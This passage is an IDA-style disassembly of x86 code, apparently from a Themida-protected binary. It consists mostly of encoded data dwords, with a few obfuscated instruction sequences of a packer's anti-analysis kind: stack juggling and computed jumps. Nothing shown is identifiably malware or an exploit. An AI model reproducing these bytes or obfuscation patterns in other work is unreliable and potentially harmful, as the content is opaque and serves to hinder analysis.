		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 38h
		dd 0D0DBB27Eh, 2BEF9BE7h, 0A0A8B83Bh, 0C5030616h, 0A9A7E0FFh
		dd 0AD63469Ah, 67E50BAAh, 23EB4167h, 0AEB44CC3h, 9742172Ah
		dd 48E949F4h, 70000001h, 74000000h, 78000000h, 7C000000h
		dd 80000000h, 84000000h, 88000000h, 8C000000h, 0D0000000h
		dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h
		dd 0E8000000h, 0EC000000h, 0F0000000h, 0F4000000h, 0F8000000h
		dd 0FC000000h, 0
		dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0)
		dd 7B000000h, 3005B64h,	8D00B2C2h, 16A15185h, 8E906h, 169E0000h
		dd 6A497420h, 85895108h, 616A291h, 10558589h, 85C60613h
		dd 61311E1h, 8E954h, 958C0000h,	90E28FFFh, 805774FDh, 0E85BE7CDh
		dd 4, 0EE626829h, 50F08B66h, 710DBF66h,	424448Bh, 11E851h
		dd 29310000h, 0A30378B9h, 0A744D9FEh, 3485C9B6h, 669A5C25h
		dd 5B59FA8Bh, 5060008Bh, 0FE8B6652h, 0BA66310Fh, 585AF20Eh
		dd 6E9h, 94FA7A00h, 6123218Fh, 4244489h, 310F5250h, 8B665250h
		dd 52310FD7h, 5A585A5Ah, 0CE805858h, 0E9B5FFC2h, 8D06131Eh
		dd 167C3385h, 859D8906h, 0FF061330h, 0D18531D0h, 8906132Ch
		dd 16A29585h, 433EBE06h, 958B3938h, 61320E9h, 5BE9h, 0C3CB8000h
		dd 91B58B56h, 890616A2h, 91858306h, 40616A2h, 8D60C35Eh
		dd 16A151B5h, 560FEB06h, 36FF006Ah, 0A29595FFh,	835E0616h
		dd 3E8304C6h, 61EC7500h, 15B58BC3h, 60061314h, 0CD9D8Bh
		dd 6E80613h, 73000000h,	8FC55391h, 59BCB3C8h, 0C1816661h
		dd 9D231226h, 6131385h,	0A37C858Dh, 8B660616h, 398589F8h
		dd 0EB061313h, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch
		dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h
		dd 34DF1BCEh, 0A6DB67h,	422577h, 0DC80BA9Fh, 0
		dd 0FEB51B54h, 0FE330000h, 0FBh, 52DDB487h, 9ED92023h
		dd 7C809E01h, 1346E9h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0D30E9EABh, 0FBB9BAC9h
		dd 8E0F4879h, 0Ch, 68B0Fh, 0CF810000h, 1E486D1Fh, 173DBD83h
		dd 0F000613h, 3685h, 75958B00h,	0B806130Ah, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6131125h],	eax
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B6754
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6754	proc near		; CODE XREF: Themida_:005B674Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5B6754	endp

; ---------------------------------------------------------------------------
		dd 3C3E42DFh, 8BE3E931h, 0C88B66C0h, 1D319589h,	0BD830613h
		dd 6131625h, 83097500h,	132C81BDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 519D8D00h, 0FF0615A7h, 83585BD3h, 132C81BDh
		dd 11740006h, 0D0B85350h, 8D000004h, 15A69E9Dh,	5BD3FF06h
		dd 0C8BF0F58h, 8BF8BF0Fh, 2D8589C0h, 8D06130Fh,	16A41685h
		dd 3D8D0B06h, 50061315h, 76BA6653h, 4895F7Ah, 85952324h
		dd 8D061317h, 16A3D385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D8971E5h, 6131259h, 50FE8B66h
		dd 47ADBF66h, 0F240489h, 95FFCEB7h, 6132045h, 338CCEBAh
		dd 24448B4Dh, 0C9816604h, 85890593h, 616A3FEh, 1ABD8529h
		dd 0DA800613h, 24448BBBh, 0F5B58908h, 0FC061307h, 0A4128589h
		dd 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0F98C37C3h, 89E2D55Eh, 132EB1B5h,	0D5BD8306h
		dd 6131Eh, 131850Fh, 0D78B0000h, 11E185C6h, 89470613h
		dd 1301F58Dh, 4E806h, 0A7D20000h, 5250D49Ah, 2A9A2ABFh
		dd 50310F3Dh, 0CF9EB952h, 310F12DCh, 585A585Ah,	0E6BF6650h
		dd 24448BF8h, 52008B04h, 0EE85250h, 7D000000h, 0BCCE8B11h
		dd 0CC847790h, 0D53D44BFh, 310F59CFh, 14E8h, 2EE8FB00h
		dd 0DAAFB380h, 637247A3h, 699B9906h, 0AA0098EBh, 585A5FE1h
		dd 2444895Fh, 958B5804h, 6130131h, 1EE9B5FFh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 5E4376C3h, 23BF017Fh, 33858DF9h, 6A06167Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A9C8C357h, 6AD0FF03h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0BC9FC355h,	0EE9h
		dd 697FE00h, 0F64E1245h, 140D6779h, 892B9E3Eh, 131ED585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 5860F1Bh, 66000000h, 0D2D6F281h,	6E9h, 0D23AF600h
		dd 8366ADD3h, 131315BDh, 850F0006h, 0B7h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 65C35040h, 0F6CD0F07h
		dd 5E953h, 896A0000h, 5F3E32A9h, 11E185C6h, 0E9470613h
		dd 12h,	0F64A5071h, 0BE71531Dh,	0B9959EA0h, 0CAD1719Ch
		dd 7A6816CBh, 8B2A0F23h, 240481C8h, 60009268h, 5B85E181h
		dd 0B5FF7F77h, 6131EE9h, 158529h, 858D0613h, 6167C33h
		dd 38E0Fh, 0BF0F0000h, 6AD0FFCEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6419C350h
		dd 31A8ECABh, 0B966741Dh, 858942F3h, 6130B75h, 13158589h
		dd 0B70F0613h, 218D8BCEh, 83061316h, 130135BDh,	850F0006h
		dd 0CAh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 15h,	4EC35747h, 86BF66D7h, 15958B8Ch, 0C606130Bh, 1311E185h
		dd 6A5606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 4B40A7C3h, 0B4AF1068h, 46B966FAh,	24348183h
		dd 2EABC229h, 4D98D89h,	0B5FF0613h, 6131EE9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 5EC35040h, 8955FA45h
		dd 1317298Dh, 33858D06h, 6A06167Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E902C356h
		dd 55FA455Eh, 0B167FD15h, 1DC18166h, 89D0FF70h,	13013585h
		dd 7133BF06h, 85C64635h, 61311E1h, 55006A6Ch, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2F427687h
		dd 14E822h, 445C0000h, 0E1186478h, 0A081C409h, 21FE3BFBh
		dd 82C4F4FCh, 8B66B34Ch, 4E859D7h, 83000000h, 50DB0570h
		dd 424448Bh, 0F98B6660h, 61FE8B66h, 0AB6008Bh, 4244489h
		dd 0F58D78Ah, 48Bh, 98BA6600h, 6DB5FF84h, 6A061311h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 8D5EC357h, 0F1D2C036h, 8D19D280h, 133AAD85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 56CD6F04h, 3890F3Ch,	66000000h, 0D0FFFA8Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 95C35141h, 5185D46Fh
		dd 31B58952h, 5906130Ch, 0A4028589h, 83F80616h,	16A41EBDh
		dd 850F0006h, 157h, 0B418D23h, 85C60613h, 61311E1h, 13E849h
		dd 11190000h, 6F3041EFh, 2FD7FE79h, 60B34321h, 947B51D2h
		dd 11B589AEh, 5A061324h, 8E8h, 0DEF25B00h, 4E550DAEh, 10E837h
		dd 0B2790000h, 1BF4111Ch, 0C5B0D5F4h, 0C96696CEh, 95296255h
		dd 6130D35h, 0B6685F5Ah, 66707DF4h, 8180D4BAh, 35332404h
		dd 6A1B97h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 429371C3h, 0C83402EAh, 8E0FB0B5h,	2, 0B5FFD08Ah
		dd 613116Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0E7C35040h, 0DDEC6EB4h,	6595890Bh, 8D06130Eh, 133AAD85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 81C67561h, 1958952h, 0FF061306h,	50006AD0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0BBD635A0h, 0B2DABCB8h, 0E9579C3Fh, 0Dh, 3A52E133h
		dd 0D7DE8DF6h, 3D6B4A8Fh, 0BD335FA2h, 613072Dh,	0A41E8589h
		dd 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0D339A5C3h, 0BDBD89E2h, 6A061305h, 15850904h
		dd 68061321h, 8800E52Ch, 95A2B966h, 0D4240481h,	8B77FF2Ah
		dd 13166D8Dh, 0B486806h, 0F38A23C7h, 48243481h,	3123C60Bh
		dd 1331F9B5h, 0F8006A06h, 297D95FFh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B000DEC3h
		dd 41AB2746h, 810F87D4h, 6, 24058501h, 85890613h, 616A40Eh
		dd 2DB58952h, 59061309h, 0A40685C7h, 616h, 8D8B0000h, 6130DD9h
		dd 0E981006Ah, 31876B73h, 4E8h,	1000000h, 7176B900h, 6650481Ch
		dd 8B3A3BB9h, 66042444h, 8BD048BFh, 3220BA00h, 448962A0h
		dd 0E8B20424h, 68D0F58h, 29000000h, 1328C1BDh, 0BF669006h
		dd 8B509D13h, 950990CEh, 6131FEDh, 0E2810B6Ah, 3DD48A04h
		dd 0A3DB858Dh, 95890616h, 61304C1h, 3880Fh, 8B660000h
		dd 525090F8h, 0DE8h, 0DA6B1900h, 89EF6937h, 16ED5B64h
		dd 61603EB5h, 57310F59h, 13E8h,	0BC6FCD00h, 0AAFB01A3h
		dd 341AF42Ah, 1328E0C0h, 0B1244735h, 585A5A5Fh,	5E850h
		dd 59650000h, 6015B5A7h, 310F5250h, 75BA585Ah, 615E6449h
		dd 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 3AAD1FC3h, 0D595FFA7h, 6A06131Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0E77BC353h, 0F2C10EDCh, 5FE3BADCh, 0B58D3D56h, 616A3E5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h
		dd 450A9198h, 2ACC21EEh, 0A6AEC281h
		dd 7E86815h, 15000000h,	0AE0E5344h, 890F72FDh, 2, 965F6160h
		dd 5ACE8A56h, 1EAEBA50h, 6A960C8Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0C2BFC355h
		dd 80110EACh, 6090B8F6h, 2870Fh, 0CE8B0000h, 0FE8B5061h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0D0733AD1h, 8F82996Fh, 95FFDD4Fh, 6131315h
		dd 5E8h, 308A1500h, 0BF0FD1BEh,	0C00B5AFFh, 31850Fh, 5E90000h
		dd 36000000h, 9AB237CDh, 7A8E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0C18589D7h
		dd 0FF06131Ah, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0DA16BA9Fh, 0B58B66CBh
		dd 616A40Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	1FC35646h, 8BF0AF29h, 130E498Dh, 20468D06h, 4CE98166h
		dd 3810FDAh, 80000000h,	46A06C2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 5FC35646h, 0C810FA7h, 0F000000h
		dd 680h, 0ED952900h, 89061307h,	131BB9BDh, 0CE806h, 0C460000h
		dd 5F7F3C8Ch, 0A9EDD437h, 8D0F28BEh, 0Ah, 5E9h,	0F1B61F00h
		dd 9059C295h, 0F18B6060h, 10E9h, 0F8CA4C00h, 2C23C7ECh
		dd 5665C78Eh, 2CC42E64h, 0D18B61B9h, 59BF5061h,	9000A5E7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CDC35242h
		dd 31197A46h, 130625BDh, 85958B06h, 0FF061325h,	16A41E95h
		dd 0EE5CBA06h, 0C00B4E8Fh, 11840Fh, 8D8B0000h, 6131471h
		dd 660E9h, 61B53100h, 80061322h, 0F00207Eh, 65084h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 88DC0969h, 8166C9D2h, 60F3AAEAh, 7443E2B9h, 20468D56h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 60C35141h
		dd 0DE4ECA92h, 0AB268152h, 108D0F16h, 0E9000000h, 0Bh
		dd 0E8A0187Dh, 298EF69Dh, 8962F988h, 16A40A85h,	7D958B06h
		dd 0E9061319h, 0FBh, 3475958Bh,	0F400613h, 38Dh, 0CEBF0F00h
		dd 0A890F90h, 60000000h, 870Fh,	61600000h, 11E85061h, 0DB000000h
		dd 421961EAh, 24516528h, 4AFE220Bh, 68EAB034h, 5FD38B66h
		dd 0E7CA8090h, 958B046Ah, 6132B35h, 50E4B190h, 0E5B96660h
		dd 68A0FC4h, 50000000h,	5A310F52h, 89906158h, 132CED95h
		dd 1E95FF06h, 6A0616A4h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 5744C353h, 57B9DED7h
		dd 0D88BD372h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	66C35040h, 10E84919h, 28000000h, 1CE8E9B4h, 2D89B667h
		dd 0C8B28D02h, 81B24CF3h, 8C793CC9h, 80585F25h,	0DB0B05CAh
		dd 25840Fh, 6E90000h, 50000000h, 60E088EAh, 0AE979h, 46D10000h
		dd 31773376h, 0CED9D8D2h, 4E0E9h, 41D28100h, 80339B35h
		dd 850F0038h, 0FFFFFF02h, 2CA99D89h, 69E90613h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 2537C355h, 11E93Dh, 2F500000h, 0CE58EA80h
		dd 0D4CA473h, 0CA8B7D9Bh, 0BFA603CDh, 22EE467Eh, 55006A48h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 60F4A341h, 0FC2BF0Fh, 682h, 9DB50300h, 6106131Ah, 0A40A853Bh
		dd 820F0616h, 6Ah, 80CE8B66h, 840F5C38h, 5Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h, 3D4F6FD6h
		dd 35DFE781h, 38804CF7h, 89850F2Fh, 6AFFFFFFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 1E90C356h, 820F4D37h, 6, 775BD8Bh, 0BA660613h, 0FC4023CDh
		dd 0A412BD83h, 0F000616h, 1E284h, 50D78B00h, 0F5B36051h
		dd 5961C88Bh, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0FBC6C350h,	0C2342CD1h
		dd 5C3CFBC3h, 0B299523h, 952B0613h, 61314B1h, 0A4128503h
		dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0D0FE08C3h, 3FA81A40h, 81A00B72h,	9BBB9AEAh
		dd 489504Bh, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0D2D7ABEDh, 71A765CEh, 0AE94Ah, 7C420000h
		dd 0E9F63EBCh, 0FD2A8D0Ah, 8A0F046Ah, 5, 84D18166h, 0DBD8B07h
		dd 5006131Fh, 2810Fh, 5BB20000h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6616C357h
		dd 398D8B49h, 0FF061317h, 16A41E95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0FBDE4950h
		dd 0C9BF0F89h, 6AD88Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 118CEFC3h, 0B5890404h, 6133045h
		dd 7E858h, 1F8F0000h, 333FEFEFh, 0BDBD8B6Eh, 5A061322h
		dd 840FDB0Bh, 5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0EEC35646h, 0AE781EABh, 8B5945C7h, 1321E58Dh
		dd 253E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0A2EAE2C3h, 8BC8CF36h, 133231BDh
		dd 8BCF8B06h, 1322C58Dh, 0C606h, 4686BF66h, 53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0B823F3CDh, 0F99D89D4h, 5006130Fh, 489CA8Bh,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0B5896082h, 6132041h, 0B1E6A61h, 13150DBDh, 0BEB99006h
		dd 502AC14Dh, 0C7FCB950h, 905F29BAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 77C35040h, 51043D0h, 0E88A6954h
		dd 0A41E95FFh, 958B0616h, 6132B2Dh, 9589D88Bh, 613169Dh
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 561CA90Bh, 31F4D7CDh, 1A998D29h,	0DB0B0613h
		dd 11840Fh, 0BD8B0000h,	61313D5h, 140E9h, 65953300h, 90061314h
		dd 3E2DB966h, 90E8B250h, 0DE9h,	7A0B3C00h, 0C0D249ECh
		dd 120AACDEh, 0B5FFC28Dh, 616A3FEh, 0FFCA8B66h,	16A40295h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 6F8FA2EDh, 501D756Eh, 81667426h,	0E94CE5C7h
		dd 12h,	0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 0C00B2DC2h
		dd 65850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 1F339EC3h, 8628DD63h, 0BD8B7376h
		dd 6130E75h, 53006A61h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8BE46398h, 1324918Dh, 685C706h, 10616A4h
		dd 29000000h, 1311D5B5h, 63E906h, 61F80000h, 30C1BD23h
		dd 0C6810613h, 11Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 6FC35646h, 57F24A04h
		dd 6686A945h, 0BA1FD9BAh, 1B4E684h, 0FFF8ECE9h,	56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 315C2BF2h, 1300F5BDh, 0C8D76806h, 52504D56h,	0B8616060h
		dd 6ED6B0ADh, 0E9310F61h, 14h, 7AEB82Dh, 2F4BE88Eh, 2CA339D5h
		dd 6BA0910Eh, 47E7BC93h, 3481585Ah, 5648D724h, 6E94Dh
		dd 47960000h, 0D0F7A54Fh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 66543BC3h, 0FFAF77BFh
		dd 16A40EB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0AE658F98h, 0F48C6EAh, 1D82h, 11E800h
		dd 0EF280000h, 0E9A8541Eh, 0EC70B744h, 55745CFFh, 31F145EFh
		dd 132FF98Dh, 95FF5906h, 6130135h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 6C35141h, 0F0B9F112h, 0BD29CCC0h
		dd 6130959h, 0A406858Bh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0B950F8C3h, 33AE795Eh
		dd 1240489h, 13298D8Dh,	16858D06h, 0F0616A4h, 683h, 19BD8B00h
		dd 0E9061328h, 0Ch, 0D2B64ED2h,	0C7F73D7h, 0CCB66077h
		dd 50595090h, 4810Fh, 0BF660000h, 8B90D4D6h, 13248595h
		dd 29BD8B06h, 8D061324h, 16A3D385h, 0BD97BA06h,	0B70F4868h
		dd 0E95090CFh, 10h, 6B09BE18h, 0CF9E3AAAh, 0AD4039A0h
		dd 13571085h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 29B422D9h, 133225B5h, 0D595FF06h
		dd 66061322h, 4A60C781h, 6E8C08Bh, 2B000000h, 7E746F35h
		dd 5FCA8BD6h, 1625BD83h, 75000613h, 81BD8309h, 6132Ch
		dd 53501374h, 0D0B8C08Bh, 8D000004h, 15A7B89Dh,	5BD3FF06h
		dd 81BD8358h, 6132Ch, 53501174h, 4D0B8h, 0B79D8D00h, 0FF0615A6h
		dd 6A585BD3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2033C350h, 13E9h, 20A91700h, 785DA01h
		dd 0C35367EFh, 0DEDAA05Ah, 0CCFFDC86h, 30798D8Bh, 0C08B0613h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 97C35646h
		dd 6A2ED2F7h, 298D8977h, 58061330h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 25C35646h, 0E644128Bh, 0CEBF0FCDh
		dd 2F8DBD01h, 8C20613h,	92CA8100h, 8B1D00FAh, 3D8D8BC0h
		dd 8A06130Eh, 5E858DC8h, 8B0616A4h, 131D318Dh, 0DB58906h
		dd 8906130Ah, 131B0585h, 2DE906h, 0D09C0000h, 1D10h, 9 dup(0)
		dd 0E9000000h, 51Eh, 0BF1F3783h, 0A5054999h, 0B9193183h
		dd 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh, 0F0436545h
		dd 5587A58h, 755A6747h,	0B46B8600h, 68DA4F16h, 51E06CBDh
		dd 5674E06Dh, 4C6BE174h, 0B4A0FA6Bh, 2469109Dh,	0B8094D9Ch
		dd 81D084D1h, 0EED06100h, 0F063F25Ch, 8590982h,	1582FF7Eh
		dd 1C7D6261h, 64E9BBFh,	0D00ED637h, 0D3F355EAh,	5FEE5AEDh
		dd 36A7ED7Bh, 109E5EDCh, 300160A5h, 0CB1B3F1Ch,	8953B283h
		dd 0FADD8AFFh, 9E5F0F8Bh, 2BB5D810h, 14B29629h,	8DBD0F33h
		dd 8CC01143h, 0CFEF082Fh, 0A53F7711h, 785F1883h, 90582572h
		dd 6021A0D1h, 0CB5D109Eh, 0B4E9EE7Fh, 7DF954AEh, 0E864F5D9h
		dd 0A217B159h, 4DBE4CB3h, 4135511Fh, 0E11433A3h, 109E8865h
		dd 0BEE5EF2Eh, 6Ah, 0E06CBDA4h,	0B4A42051h, 0C619109Dh
		dd 0EC7D1CE1h, 0B7014DD1h, 0C090BC4Dh, 68A34179h, 1, 0E16DBDCEh
		dd 0EDBAE5C2h, 144A1B65h, 0BC910D7Ch, 3B5A109Dh, 0BE1032B1h
		dd 2E7DC190h, 52C01322h, 7F290EB9h, 0AB6A9D24h,	0A3A465B2h
		dd 6908AAC6h, 925AF645h, 4260EE40h, 0B7134265h,	80109E56h
		dd 2243055Ah, 2725B89Ah, 70BD2987h, 522ABE1Eh, 0DEBF0E1Bh
		dd 53FB4B8Fh, 0FD8EFC02h, 7E5CF845h, 930F7E61h,	5C109E03h
		dd 0C9DAF39h, 7BCDF140h, 1B777ECFh, 0A7AE7E9Eh,	6F50A341h
		dd 9DF9A4FEh, 0F8DCD510h, 15EAB534h, 0A6FDC746h, 67h, 6BE71639h
		dd 34109DEBh, 0C24D07D1h, 0EA3D4EE0h, 0EF8E0F5Eh, 0A3B53F5Eh
		dd 2B2F3E16h, 2FA0B199h, 4D9C46C3h, 0C5DF344h, 0ECCEEC8Dh
		dd 6466F75Dh, 5EC7DD3h,	1CCCF089h, 0C4A341E8h, 51h, 0E470BD9Ah
		dd 6ADE7155h, 0E868F7DBh, 0A3E27559h, 9583911h,	462FCCC6h
		dd 2BDC6D65h, 0C697B707h, 0E5B7D47h, 0C2CA6846h, 31004EE0h
		dd 74C608D0h, 88D5FDDAh, 146504CCh, 109DB4B5h, 527A42Eh
		dd 0A341EA37h, 89Fh, 0CA1A4000h, 9058B988h, 0DF6BBDC6h
		dd 53F94C8Eh, 51FB4E74h, 61F6D887h, 0DCBD9324h,	56FA498Dh
		dd 0AD1E5407h, 103724B8h, 0E715B603h, 0AFD9E369h, 76D4681Ah
		dd 75115858h, 64362756h, 0A6E7168Fh, 2A22B397h,	598CAB8Ch
		dd 0A8B61FDh, 5B7D47C6h, 82F3420Ah, 0A8B6206h, 0CB6533Fh
		dd 0D3393B9h, 0C3390BCh, 0C8DCEA34h, 1FCE166Fh,	93A2AA3Bh
		dd 3BEC5DEBh, 0A66DE91Ch, 0D7360A8Bh, 0F7ACB0Dh, 0D2F190C0h
		dd 0A60680F5h, 0AB3A0A8Bh, 0EA7998A9h, 973321ABh, 5AAC1BD9h
		dd 12481h, 0BEA3D500h, 377AEBC8h, 0D0168EBCh, 87DAFC4Dh
		dd 72C3E5C5h, 0F6478BDAh, 91FF0756h, 0DC6B4FF8h, 0D76A6C74h
		dd 3FFD5575h, 0E15AAD1Bh, 0F74811F6h, 0FD900F1h, 4788h
		dd 0BCA3AE00h, 0FA74E9C6h, 36F624Bh, 0B394B382h, 429BDA8Ch
		dd 3829DAA5h, 909DE6DEh, 2F5E66A7h, 909DE6B3h, 6BFA5AE7h
		dd 0E879D967h, 0D47EFB77h, 0D5ABCA80h, 0D5A1E9Bh, 8B275675h
		dd 94EF627Dh, 0A6765171h, 0DC000000h, 0EBC8BEA3h, 8EA18F7Ah
		dd 44157816h, 59B52807h, 220A8AA1h, 0ACBD8B20h,	92C40C6Dh
		dd 8BAD0D3Fh, 0B243123Ah, 0A8AA151h, 0D2654D92h, 1EA6E776h
		dd 1AAB57F4h, 41AA9532h, 2B82CF72h, 64E67A5Ch, 2E2CB4D5h
		dd 308FF7F2h, 3294B60Ah, 60A1B0A2h, 200A7B58h, 391077E8h
		dd 0E26BE716h, 0D1340473h, 2A3B5A07h, 7FDB0A2Dh, 480473E2h
		dd 88D9FBC5h, 0CD9CB001h, 0A4FE6F4Ch, 6D0473E1h, 0D6F84928h
		dd 9BB50683h, 1B2A4BCAh, 98A9A937h, 46025579h, 4DBED4F7h
		dd 710A8458h, 0E7C4C2A7h, 6130AC76h, 9230550Ah,	0C8BEA338h
		dd 3B07AEBh, 3459168Bh,	2921B397h, 0ABFE409Fh, 0FE2401A1h
		dd 0AC1DDAAAh, 53DD83EBh, 15A8AA32h, 1ED72637h,	9B05851Dh
		dd 9D30E257h, 0C2E0FAFh, 43C293B9h, 46065779h, 5AEE4169h
		dd 0D878C70Bh, 5F690889h, 0E36DBE00h, 14BDEC4h,	5807D130h
		dd 0DA6BE576h, 962869F8h, 4788D9B8h, 0F1C7AE4Bh, 755D0A7Fh
		dd 6D5F69E5h, 705270DCh, 3DE6FDDh, 17h,	108AFBDCh, 0D9EF808Bh
		dd 7BB22CB4h, 920C815Eh, 5B109DB4h, 0BD28B23Ah,	7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 72BC68h, 241C8900h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 56241489h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 3C895C24h, 0AA685624h,	5E15E970h
		dd 0E681D6F7h, 0BCC754Bh, 0B285C681h, 8953FC12h, 5BDA89F3h
		dd 3C8B545Eh, 4C48124h,	51000000h, 8B9h, 89F90100h, 240C8B11h
		dd 4C481h, 34FF0000h, 0C4835F24h, 24148B04h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFCC488h, 41A77598h
		dd 81F0E038h, 4EB87554h, 30616BCh, 26E0FFC5h, 1F4261F6h
		dd 3C0C45F4h, 3E690Ah, 6E4A256Dh, 4061AF57h, 88408683h
